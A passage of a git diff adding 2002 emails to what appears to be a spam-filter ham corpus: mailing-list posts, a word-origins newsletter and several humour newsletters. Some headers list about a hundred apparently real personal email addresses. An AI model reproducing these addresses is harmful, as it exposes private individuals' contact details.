MimeOLE V6.00.2600.0000 +Subject: [SAtalk] why false positives are twenty times worse than false negatives +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 08:38:40 -0400 +Date: Fri, 2 Aug 2002 08:38:40 -0400 + +http://www.editorandpublisher.com/editorandpublisher/features_columns/articl +e_display.jsp?vnu_content_id=1570036 + +(or http://makeashorterlink.com/?A1D525B61 if that URL wrapped) + +rOD. +-- +"If I was a front porch swing, would you let me hang? + If I was a dancefloor, would you shake your thang? + If I was a rubber check, would you let me bounce + Up and down inside your bank account?" + +>> Doing the blogging thang again at http://www.groovymother.com/ << + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01322.dc0ceb10b41192a02bdf543ca558ce95 b/bayes/spamham/easy_ham_2/01322.dc0ceb10b41192a02bdf543ca558ce95 new file mode 100644 index 0000000..280c3a9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01322.dc0ceb10b41192a02bdf543ca558ce95 @@ -0,0 +1,105 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Aug 2 16:36:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0792440FF + for ; Fri, 2 Aug 2002 11:35:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 16:35:32 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g72EkRn01237 for + ; Fri, 2 Aug 2002 15:46:27 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id PAA03896 for + ; Fri, 2 Aug 2002 15:25:01 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17adLZ-0002Mk-00; Fri, + 02 Aug 2002 07:24:05 -0700 +Received: from [63.88.78.2] (helo=[63.88.78.2]) by + usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17adLG-0006gT-00 for ; + Fri, 02 Aug 2002 07:23:47 -0700 +Received: from no.name.available by [63.88.78.2] via smtpd (for + usw-sf-lists.sourceforge.net [216.136.171.198]) with SMTP; 2 Aug 2002 + 14:11:33 UT +Received: by mail_server.Commonwealth.com with Internet Mail Service + (5.5.2653.19) id ; Fri, 2 Aug 2002 10:21:10 -0400 +Message-Id: +From: Jake Mohnkern +To: "'spamassassin-talk@example.sourceforge.net'" +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Subject: [SAtalk] Protect individual MS-Exchange mailboxes +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 2 Aug 2002 10:21:07 -0400 +Date: Fri, 2 Aug 2002 10:21:07 -0400 + +I rigged this up for testing before I commit to a sitewide rollout of +Spamassassin as an SMTP relay. +It is more work, but it avoids sitewide changes in mail delivery during the +early stages of testing. + +On the Exchange server... (mail.yourdomain.com) +Create a new, private SMTP address (nomorespam@yourdomain.com) for the +mailbox you want to protect. Remove the old address. + +Create a "custom recipient" with the old SMTP address +(spammedalot@yourdomain.com). Create another custom recipient pointing at a +local user on the Spamassassin box (killspam@filtermail.yourdomain.com). + +Set the first custom recipient to forward all mail to the second custom +recipient. (must forward to another address in the Exchange directory) + +On the Spamassassin box... (filtermail.yourdomain.com) +Set up a dummy user, in this case "killspam" +Give killspam a .forward file pointing to the final recipient's new, private +smtp address back on the Exchange server. + +So the message flow is like this: + +Mail arrives on the Exchange server mail.yourdomain.com for +spammedalot@yourdomain.com + +spammedalot@commonwealth.com forwards it to +killspam@filtermail.yourdomain.com + +Following the .forward file, the e-mail is then forwarded to +nomorespam@yourdomain.com + + +Wowie Zowie it works. The first address I protected was myself, the second +one I protected was postmaster. + +As you can see, you must create two custom recipients in Exchange and one +dummy account with a .forward file on the spam filter box for each address +you want to protect. Like I said, it is more work, but until I am done +load-testing, this is the way it will stay. + +-jake + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01323.8f994027cca214b6e0e7df2d443ff4cd b/bayes/spamham/easy_ham_2/01323.8f994027cca214b6e0e7df2d443ff4cd new file mode 100644 index 0000000..7095292 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01323.8f994027cca214b6e0e7df2d443ff4cd @@ -0,0 +1,317 @@ +From owner-worldwidewords@LISTSERV.LINGUISTLIST.ORG Tue Aug 6 10:57:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6086044117 + for ; Tue, 6 Aug 2002 05:53:36 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:53:36 +0100 (IST) +Received: from listserv.linguistlist.org (listserv.linguistlist.org [164.76.102.107]) + by webnote.net (8.9.3/8.9.3) with SMTP id FAA07076 + for ; Sat, 3 Aug 2002 05:04:03 +0100 +Received: (qmail 18353 invoked from network); 3 Aug 2002 04:01:22 -0000 +Received: from listserv.linguistlist.org (HELO listserv) (164.76.102.107) + by listserv.linguistlist.org with SMTP; 3 Aug 2002 04:01:22 -0000 +Received: from LISTSERV.LINGUISTLIST.ORG by LISTSERV.LINGUISTLIST.ORG + (LISTSERV-TCP/IP release 1.8d) with spool id 431549 for + WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG; Sat, 3 Aug 2002 00:00:45 + -0400 +Approved-By: DoNotUse@WORLDWIDEWORDS.ORG +Delivered-To: worldwidewords@listserv.linguistlist.org +Received: (qmail 14024 invoked from network); 2 Aug 2002 15:26:40 -0000 +Received: from pc-80-192-8-147-az.blueyonder.co.uk (HELO dhcp-38-22) + (80.192.8.147) by listserv.linguistlist.org with SMTP; 2 Aug 2002 + 15:26:40 -0000 +Received: from prospero (prospero.tempest.lan [192.168.14.10]) by dhcp-38-22 + (8.11.6/8.11.6) with ESMTP id g72FQbK01785 for + ; Fri, 2 Aug 2002 16:26:38 + +0100 +MIME-Version: 1.0 +Content-type: text/plain; charset=ISO-8859-1 +Priority: normal +X-mailer: Pegasus Mail for Win32 (v3.12c) +Message-ID: <3D4AB2C0.12594.1ACEC8D@localhost> +Date: Fri, 2 Aug 2002 16:26:40 +0100 +Reply-To: DoNotUse@WORLDWIDEWORDS.ORG +Sender: World Wide Words +From: Michael Quinion +Organization: World Wide Words +Subject: World Wide Words -- 03 Aug 02 +To: WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from Quoted-printable to 8bit by webnote.net id FAA07076 + +WORLD WIDE WORDS ISSUE 301 Saturday 3 August 2002 +------------------------------------------------------------------- +Sent each Saturday to 15,000+ subscribers in at least 119 countries +Editor: Michael Quinion, Thornbury, Bristol, UK ISSN 1470-1448 + +------------------------------------------------------------------- + IF YOU RESPOND TO THIS MAILING, REMEMBER TO CHANGE THE OUTGOING + ADDRESS TO ONE OF THOSE IN THE 'CONTACT ADDRESSES' SECTION. + + +Contents +------------------------------------------------------------------- +1. Feedback, notes and comments. +2. Turns of Phrase: Thinspiration. +3. Weird Words: Usufructuary. +4. Q&A: Three sheets to the wind; Mogadored; Skunk works. +5. Endnote. +6. Subscription commands. +7. Contact addresses. + + +1. Feedback, notes and comments +------------------------------------------------------------------- +COCKLES OF ONE'S HEART You may recall that I was a bit suspicious +of the story I told in last week's issue. James Woodfield pointed +out that there is another possible explanation. In medieval Latin, +the ventricles of the heart were at times called "cochleae cordis", +where the second word is derived from "cor", heart. Those unversed +in Latin could have misinterpreted "cochleae" as "cockles". Oddly, +"cochlea" in Latin means "snail" (from the shape of the ventricles +- it's also the name of the spiral cavity of the inner ear), so if +this story is right we should really be speaking of warming the +snails of one's heart. + +SERRANCIFIED Many of you supplied your own memories of this odd +expression that I tried to make sense of last week. Taken together, +they show that the expression is best known in Canada and that it +was originally something like "My sufficiency has been suffonsified +and anything additional would be superfluous". That form of the +word is the one that is most common in online searches, where the +Canadian focus is also obvious. Cheryl Caesar noted that it appears +in a passage in Margaret Atwood's novel, "Cat's Eye": she has two +teenage girls living in Toronto in the 1940s who say, "Are you +sufficiently sophonisified?". A Vancouver restaurant reviewer has +the pen name "Sufficiently Suffonsified". Oddly, there's also a +1999 record by the Austrian band Cunning Dorx entitled "Paradigms +Suffonsified". G H Gordon Paterson suggested that the word might be +a punning blend of "sufficient" and "fancified". There are some +tantalising suggestions that it may actually be Scots, and not New +World at all. + +ABSQUATULATE I have been gently remonstrated with for describing +"sockdologer" as one of the products of early American linguistic +inventiveness that hasn't survived to the present day. Many people +gave me examples of current or recent use. I stand corrected. + + +2. Turns of Phrase: Thinspiration +------------------------------------------------------------------- +This is one of the key words associated with a deeply disquieting +online trend. In the past couple of years or so a number of Web +sites and chatrooms have appeared which actively promote anorexia +nervosa (known on the sites as "ana") and other eating disorders as +lifestyle choices. Since 90% of anorexics are young women, these +"pro-ana" sites are usually run by and attract that group (one term +sometimes used for them is "weborexics"). Sites offer suggestions +on how to become and remain thin, often through tips on avoiding +eating, and how to disguise the condition from family and friends. +Other themes sometimes featured on such sites are self-mutilation +("cutting") and bulimia ("mia"). Thin women, such as supermodels +and Calista Flockhart, are presented as "thinspirations", examples +to emulate. Sites have had names such as Starving for Perfection, +Wasting Away on the Web and Dying To Be Thin. Medical professionals +in the US and UK are deeply concerned about them, because they +accentuate the low self-regard of young women, who are particularly +prone to eating disorders, put their lives at risk, and discourage +them from facing their illness and seeking treatment for it. + +The Internet is home to a number of pro-eating disorder Web sites - +- places where sufferers can discuss tips, trade low-calorie +recipes and exchange poems and art that may be used as "triggers" +or so-called "thinspiration." + ["Calgary Sun", Feb. 2002] + +A new trend among young adults has been sweeping the nation: pro- +anorexia Web sites. Also known as pro-ana, these sites glorify +anorexia nervosa and offer "thinspiration" on maintaining a +starvation lifestyle. + ["University Wire", Apr. 2002] + + +3. Weird Words: Usufructuary /ju:zjU'frVktju:@rI/ +------------------------------------------------------------------- +A person who has the use or enjoyment of something, especially +property. + +We are short of words that contain four u's. Among the few that are +even relatively common (leaving aside the Hawaiian "muu-muu") are +"tumultuously" and "unscrupulous", although some rare words like +"pustulocrustaceous" and "pseudotuberculous" are also recorded. + +The term comes from Roman law. "Usufruct" is the right of temporary +possession or enjoyment of something that belongs to somebody else, +so far as that can be done without causing damage or changing its +substance. For example, a slave in classical Rome could not own +anything. Things he acquired as the result of his labour he merely +held "usus (et) fructus", under "use (and) enjoyment" - it was his +master who actually owned them. + +The term remains in use in modern US legal practice and elsewhere. +These days a "usufructuary" can be a trustee who enjoys the income +from property he holds in trust for somebody else. Many Native +American groups hold land on a "usufruct" basis, with rights to +enjoy the renewable natural resources of the land for hunting and +fishing. + + +4. Q&A +------------------------------------------------------------------- +Q. How does the term "three sheets to the wind" denote drunkenness? +[Benjamin Weatherston] + +A. It's a sailor's expression. + +We ignorant landlubbers might think that a sheet is a sail, but in +traditional sailing-ship days, a "sheet" was actually a rope, +particularly one attached to the bottom corner of a sail (it comes +from an Old English term for the corner of a sail). The sheets were +vital, since they trimmed the sail to the wind. If they ran loose, +the sail would flutter about in the wind and the ship would wallow +off its course out of control. + +Extend this idea to sailors on shore leave, staggering back to the +ship after a good night on the town, well tanked up. The irregular +and uncertain locomotion of the jolly seafarers must have reminded +onlookers of the way a ship moved in which the sheets were loose. +Perhaps one loose sheet might not have been enough to get the image +across, so the saying became "three sheets to the wind". + +Our first written example comes from that recorder of low life, +Pierce Egan, in his "Real life in London" of 1821. But it must +surely be much older. + + ----------- + +Q. My East End mother-in-law used to say she was "well and truly +mogadored" when she was puzzled by something. Any idea of +derivation and meaning? [Bryan] + +A. Now that's a bit of British slang I haven't heard in years, +though it is still around (Nanny Ogg uses it in one of Terry +Pratchett's Discworld fantasy stories, I am told). As you say, it +means that somebody is puzzled, confused, or "all at sea". It's +also sometimes spelled "moggadored", though it doesn't turn up in +print much in either spelling. (No relation to the British word +"moggy" for a cat, by the way, which seems to be a pet form of +"Margaret".) + +The writers of slang dictionaries are decidedly mogadored about its +origin. It looks very much like rhyming slang for "floored", which +is likewise slang, meaning dumbfounded or confused. But the dispute +arises over what the root is. Some say it is Irish, from "magagh", +to mock, jeer or laugh at, via an unrecorded intermediate form +"mogadói". + +Others suggest that, like some other East End slang terms, it +derives from the Gypsy language Romany (Cockney slang is like +London itself, a melting pot, in which words from many sources are +amalgamated, including Yiddish and old-time forces slang derived +from languages around the world). In this case the source may be +"mokardi" or "mokodo", something tainted (these Romany words also +provide the root for yet another slang phrase, "to put the mockers +on something", to jinx it). + +Sorry not to be able to be more definite! + + ----------- + +Q. I was having an interesting discussion with an American +professor of business studies who also consults to industry. She +was recalling an unbudgeted initiative within a major software +corporate, which the UK managing director described as a "skunk +project". I have seen this epithet before, usually in the phrase +"skunk works", meaning a semi-official project team that is tacitly +licensed to bend the rules and think outside the box. I wonder what +the derivation is? I don't think it can refer to the smelly wild +animal, but neither I think can it refer to the street term for a +strong variant of marijuana. Can you shed any light? [Martin +Hayman] + +A. We must start in Dogpatch, the fictional place in the backwoods +of upper New York State made famous between 1934 and 1977 as the +home of professional mattress tester Li'l Abner, in the comic strip +written and drawn by Al Capp. The original was actually "Skonk +Works", the place where Lonesome Polecat and Hairless Joe brewed +their highly illicit bootleg Kickapoo Joy Juice from ingredients +such as old shoes and dead skunks. ("Skonk" is a dialect variant of +"skunk".) + +We must now move to the very real Burbank, California. In 1943, a +small group of aeronautical engineers working for the then Lockheed +Aircraft Corporation (headed by Clarence "Kelly" Johnson) were +given the rush job of creating an entirely new plane from scratch, +the P-80 "Shooting Star" jet fighter. This they did in 143 days, 37 +days ahead of schedule. Their secret project was housed in a +temporary structure roofed over with an old circus tent, which had +been thrown up next to a smelly plastics factory. The story goes +that one of the engineers answered the phone on a hot summer day +with the phrase "Skonk Works here" and the name stuck. It is also +said that Al Capp objected to their use of his term and it was +changed to Skunk Works. + +One division of the company, formally the Lockheed Martin Advanced +Development Program, is still known as the Skunk Works. The term +has been trademarked by Lockheed Martin, who have been aggressive +in protecting it. + +As a generic term, it dates from the 1960s. One definition is very +much that of the original and the one you describe: a small group +of experts who drop out of the mainstream of a company's operations +in order to develop some experimental technology or new application +in secrecy or at speed, unhampered by bureaucracy or the strict +application of regulations (Kelly Johnson formulated 14 visionary +rules for running such an operation, which are still regarded as +valid even now). It is also sometimes used for a similar group that +operates semi-illicitly, without top-level official knowledge or +support, though usually with the tacit approval of immediate +management. + + +5. Endnote +------------------------------------------------------------------- +The principal design of a grammar of any language is to teach us to +express ourselves with propriety in that language; and to enable us +to judge of every phrase and form of construction, whether it be +right or not. [Robert Lowth, "A Short Introduction to English +Grammar" (1762)] + + +6. Subscription commands +------------------------------------------------------------------- +To leave the list, change your subscription address, or subscribe, +please visit . + +Or, you can send a message to +from the address at which you are (or want to be) subscribed: + + To leave, send: SIGNOFF WORLDWIDEWORDS + To join, send: SUBSCRIBE WORLDWIDEWORDS First-name Last-name + + +7. Contact addresses +------------------------------------------------------------------- +Do not use the address that comes up when you hit 'Reply' on this +mailing, or your message will be sent to an electronic dead-letter +office. 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Reproduction in print media or on Web pages requires +prior permission: contact . +------------------------------------------------------------------- + diff --git a/bayes/spamham/easy_ham_2/01324.23a1f5017a5531fca08d9ebe2f5b0537 b/bayes/spamham/easy_ham_2/01324.23a1f5017a5531fca08d9ebe2f5b0537 new file mode 100644 index 0000000..f019ccf --- /dev/null +++ b/bayes/spamham/easy_ham_2/01324.23a1f5017a5531fca08d9ebe2f5b0537 @@ -0,0 +1,129 @@ +From info@evilgerald.com Tue Aug 6 11:17:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6126544128 + for ; Tue, 6 Aug 2002 06:13:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:13:32 +0100 (IST) +Received: from ni-mail1.dna.utvinternet.net (mail.d-n-a.net [194.46.8.11]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73N1Cv30790 for + ; Sun, 4 Aug 2002 00:01:12 +0100 +Resent-From: info@evilgerald.com +Resent-To: 9839232@student.ul.ie, AbbottL@pei-tech.ie, + acallaly@siebel.com, adriennepratt@hotmail.com, ad_alton@hotmail.com, + aedin.hanrahan@wildetechnologies.com, ahall@item.co.uk, + aidanmcnelis@ireland.com, ailise_susan@hotmail.com, + alan.kinsella@labyrinth.ie, alan.synnott@irishrail.ie, + Alan_Wall@SmartForce.com, albasmith@eventplus.ie, + alex.sykes@freeuk.com, alex@coolyvenny.fsnet.co.uk, + Alistair_Hall@bat.com, am.cotter@sws.ie, andersonj@bluewin.ch, + andrew.clancy@sca.ie, andrew.oregan3@mail.dcu.ie, + anita.kelly@ogilvy.be, anne.oleary@kpmg.hu, + anne@interactive-avenue.ie, annraoi@opreith.freeserve.co.uk, + anthony.doyle@siemens.ie, APawNeeStar@aol.com, aphelan@mis.gla.ac.uk, + arlene.dolan@ntlworld.com, arlene_gallagher@yahoo.co.uk, + b.mckenna@unison.co.uk, barrorm@hotmail.com, BarryJoe90@aol.com, + bastinado@hotmail.com, billygannon@email.com, billynana@yahoo.com, + blacksheepsh@hotmail.com, bmcgaughey@aspect.ie, bmurph@oceanfree.net, + bootie@eircom.net, bosullivan@nyc.rr.com, brendan@crap-mail.com, + brendancurtis@eircom.net, brendand@SYSSOL.IE, + brendan_osullivan@hp.com, brendy_eire@hotmail.com, + Brian_Mason@dell.com, bstrong@interactiveser.com, + burkejohn@hotmail.com, busterboo99@hotmail.com, + c.brown@admin.gla.ac.uk, carollynnwallis@sheffielduk.fsnet.co.uk, + cathy.dillon@libertysurf.fr, caulfied@tcd.ie, cbruen@tcd.ie, + cbukszpan@yahoo.com, CDevereux@wpg.ie, + chasholdsworth@blueyonder.co.uk, cian@complexvisuals.com, + clarebutler19@hotmail.com, CLauraUK@aol.com, + codeinestation@hotmail.com, coilltemach@eircom.net, + colleenos@eircom.net, comccart@tcd.ie, conor-john@oxygen.ie, + CONOR.MCCAFFERY@may.ie, conor.yore@infosol.ie, + conor@duttfks1.tn.tudelft.nl, conor_cass_cassidy@hotmail.com, + cormac.scally@ntlworld.com, csteenson@eircom.net, + ctobin@interactiveser.com, currane@maths.tcd.ie, + curtinmj@hotmail.com, DAMHNAIT.F.GLEESON@may.ie, damianc@tinet.ie, + Daniel.King@sage.com, daphil@indigo.ie, daracmurphy@eircom.net, + darioz@gofree.indigo.ie, darthmal@gofree.indigo.ie, + davecoolican@eircom.net, daverouse@hotmail.com, + David.Reidy@motorola.com, david4e7@hotmail.com, davidbo@vistatec.ie, + davidconnolly@eircom.net, da_blossom@hotmail.c +Resent-Message-Id: +Resent-Date: Sat, 3 Aug 2002 23:15:50 +0100 +Received: from ni-mail1.dna.utvinternet.net (unverified [194.46.8.11]) by + ni-mail1.dna.utvinternet.net (Vircom SMTPRS 1.4.232) with ESMTP id + for ; Sat, + 3 Aug 2002 21:30:02 +0100 +Received: from 194.46.8.17 ([194.46.8.17] as evil06) by + ni-mail1.dna.utvinternet.net (Vircom POPDOWN 1.4.232) with POP; + Sat, 3 Aug 2002 21:30:02 +0100 +Delivered-To: evilgerald.com!-list@evilgerald.com +Received: (qmail 14949 invoked from network); 11 Jul 2002 19:58:47 -0000 +Received: from unknown (HELO mail01.svc.cra.dublin.eircom.net) + (159.134.118.17) by mail.d-n-a.net with SMTP; 11 Jul 2002 19:58:47 -0000 +Received: (qmail 73739 messnum 121353 invoked from + network[159.134.214.76/p76.as1.adl.dublin.eircom.net]); 11 Jul 2002 + 19:58:45 -0000 +Received: from p76.as1.adl.dublin.eircom.net (HELO default) + (159.134.214.76) by mail01.svc.cra.dublin.eircom.net (qp 73739) with SMTP; + 11 Jul 2002 19:58:45 -0000 +Message-Id: <000801c22915$402ae440$4cd6869f@default> +From: "The Evil Gerald" +To: +Subject: --Breaking News from The Evil Gerald-- +Date: Thu, 11 Jul 2002 20:57:39 +0100 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0005_01C2291D.98A2ED40" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6600 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0005_01C2291D.98A2ED40 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Actresses with just the one annoying accent! Don't we all just love = +them? Them and football of course, more of which in the Breaking News = +section of your friendly neighbourhood Evil Gerald. + +Yours, + +The Evil Gerald=20 + +------=_NextPart_000_0005_01C2291D.98A2ED40 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +

Actresses with just the one annoying = +accent! Don't=20 +we all just love them? Them and football of course, more of which in the = +Breaking News = +section of=20 +your friendly neighbourhood Evil=20 +Gerald.
+
 
+
Yours,
+
 
+
The Evil Gerald = +
+ +------=_NextPart_000_0005_01C2291D.98A2ED40-- + + + diff --git a/bayes/spamham/easy_ham_2/01325.d94c9e1cca235f9f1bcecf469954490f b/bayes/spamham/easy_ham_2/01325.d94c9e1cca235f9f1bcecf469954490f new file mode 100644 index 0000000..7346c1f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01325.d94c9e1cca235f9f1bcecf469954490f @@ -0,0 +1,120 @@ +From info@evilgerald.com Tue Aug 6 11:17:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4E7844129 + for ; Tue, 6 Aug 2002 06:13:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:13:36 +0100 (IST) +Received: from ni-mail1.dna.utvinternet.net (mail.d-n-a.net [194.46.8.11]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73N1Cv30787 for + ; Sun, 4 Aug 2002 00:01:12 +0100 +Resent-From: info@evilgerald.com +Resent-To: 9839232@student.ul.ie, AbbottL@pei-tech.ie, + acallaly@siebel.com, adriennepratt@hotmail.com, ad_alton@hotmail.com, + aedin.hanrahan@wildetechnologies.com, ahall@item.co.uk, + aidanmcnelis@ireland.com, ailise_susan@hotmail.com, + alan.kinsella@labyrinth.ie, alan.synnott@irishrail.ie, + Alan_Wall@SmartForce.com, albasmith@eventplus.ie, + alex.sykes@freeuk.com, alex@coolyvenny.fsnet.co.uk, + Alistair_Hall@bat.com, am.cotter@sws.ie, andersonj@bluewin.ch, + andrew.clancy@sca.ie, andrew.oregan3@mail.dcu.ie, + anita.kelly@ogilvy.be, anne.oleary@kpmg.hu, + anne@interactive-avenue.ie, annraoi@opreith.freeserve.co.uk, + anthony.doyle@siemens.ie, APawNeeStar@aol.com, aphelan@mis.gla.ac.uk, + arlene.dolan@ntlworld.com, arlene_gallagher@yahoo.co.uk, + b.mckenna@unison.co.uk, barrorm@hotmail.com, BarryJoe90@aol.com, + bastinado@hotmail.com, billygannon@email.com, billynana@yahoo.com, + blacksheepsh@hotmail.com, bmcgaughey@aspect.ie, bmurph@oceanfree.net, + bootie@eircom.net, bosullivan@nyc.rr.com, brendan@crap-mail.com, + brendancurtis@eircom.net, brendand@SYSSOL.IE, + brendan_osullivan@hp.com, brendy_eire@hotmail.com, + Brian_Mason@dell.com, bstrong@interactiveser.com, + burkejohn@hotmail.com, busterboo99@hotmail.com, + c.brown@admin.gla.ac.uk, carollynnwallis@sheffielduk.fsnet.co.uk, + cathy.dillon@libertysurf.fr, caulfied@tcd.ie, cbruen@tcd.ie, + cbukszpan@yahoo.com, CDevereux@wpg.ie, + chasholdsworth@blueyonder.co.uk, cian@complexvisuals.com, + clarebutler19@hotmail.com, CLauraUK@aol.com, + codeinestation@hotmail.com, coilltemach@eircom.net, + colleenos@eircom.net, comccart@tcd.ie, conor-john@oxygen.ie, + CONOR.MCCAFFERY@may.ie, conor.yore@infosol.ie, + conor@duttfks1.tn.tudelft.nl, conor_cass_cassidy@hotmail.com, + cormac.scally@ntlworld.com, csteenson@eircom.net, + ctobin@interactiveser.com, currane@maths.tcd.ie, + curtinmj@hotmail.com, DAMHNAIT.F.GLEESON@may.ie, damianc@tinet.ie, + Daniel.King@sage.com, daphil@indigo.ie, daracmurphy@eircom.net, + darioz@gofree.indigo.ie, darthmal@gofree.indigo.ie, + davecoolican@eircom.net, daverouse@hotmail.com, + David.Reidy@motorola.com, david4e7@hotmail.com, davidbo@vistatec.ie, + davidconnolly@eircom.net, da_blossom@hotmail.c +Resent-Message-Id: +Resent-Date: Sat, 3 Aug 2002 23:15:50 +0100 +Received: from ni-mail1.dna.utvinternet.net (unverified [194.46.8.11]) by + ni-mail1.dna.utvinternet.net (Vircom SMTPRS 1.4.232) with ESMTP id + for ; Sat, + 3 Aug 2002 21:30:02 +0100 +Received: from 194.46.8.17 ([194.46.8.17] as evil06) by + ni-mail1.dna.utvinternet.net (Vircom POPDOWN 1.4.232) with POP; + Sat, 3 Aug 2002 21:30:02 +0100 +Delivered-To: evilgerald.com!-list@evilgerald.com +Received: (qmail 6951 invoked from network); 26 Jun 2002 10:25:06 -0000 +Received: from unknown (HELO mail00.svc.cra.dublin.eircom.net) + (159.134.118.16) by mail.d-n-a.net with SMTP; 26 Jun 2002 10:25:06 -0000 +Received: (qmail 55964 messnum 717303 invoked from + network[159.134.59.228/p59-228.as1.dla.dublin.eircom.net]); 26 Jun 2002 + 10:25:04 -0000 +Received: from p59-228.as1.dla.dublin.eircom.net (HELO darren) + (159.134.59.228) by mail00.svc.cra.dublin.eircom.net (qp 55964) with SMTP; + 26 Jun 2002 10:25:04 -0000 +Message-Id: <000a01c21cfb$b648f980$e43b869f@localnetqs> +From: "The Evil Gerald" +To: +Subject: The Evil Gerald Online - Breaking News +Date: Wed, 26 Jun 2002 11:24:51 +0100 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0007_01C21D04.16C6D7C0" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2014.211 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2014.211 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C21D04.16C6D7C0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Get another fix of Ireland's Only Newspaper with a large dose of = +Breaking News + +The Evil Gerald Staff +------=_NextPart_000_0007_01C21D04.16C6D7C0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
Get another fix of Ireland's Only Newspaper with a = +large dose=20 +of Breaking=20 +News
+
 
+
The Evil Gerald = +Staff
+ +------=_NextPart_000_0007_01C21D04.16C6D7C0-- + + + diff --git a/bayes/spamham/easy_ham_2/01326.b3210847a0d8621e380ac3e10606c497 b/bayes/spamham/easy_ham_2/01326.b3210847a0d8621e380ac3e10606c497 new file mode 100644 index 0000000..dcb9790 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01326.b3210847a0d8621e380ac3e10606c497 @@ -0,0 +1,162 @@ +From info@evilgerald.com Tue Aug 6 11:18:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 30EF34412B + for ; Tue, 6 Aug 2002 06:13:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:13:46 +0100 (IST) +Received: from ni-mail1.dna.utvinternet.net (mail.d-n-a.net [194.46.8.11]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g73N1Bv30784 for + ; Sun, 4 Aug 2002 00:01:12 +0100 +Resent-From: info@evilgerald.com +Resent-To: 9839232@student.ul.ie, AbbottL@pei-tech.ie, 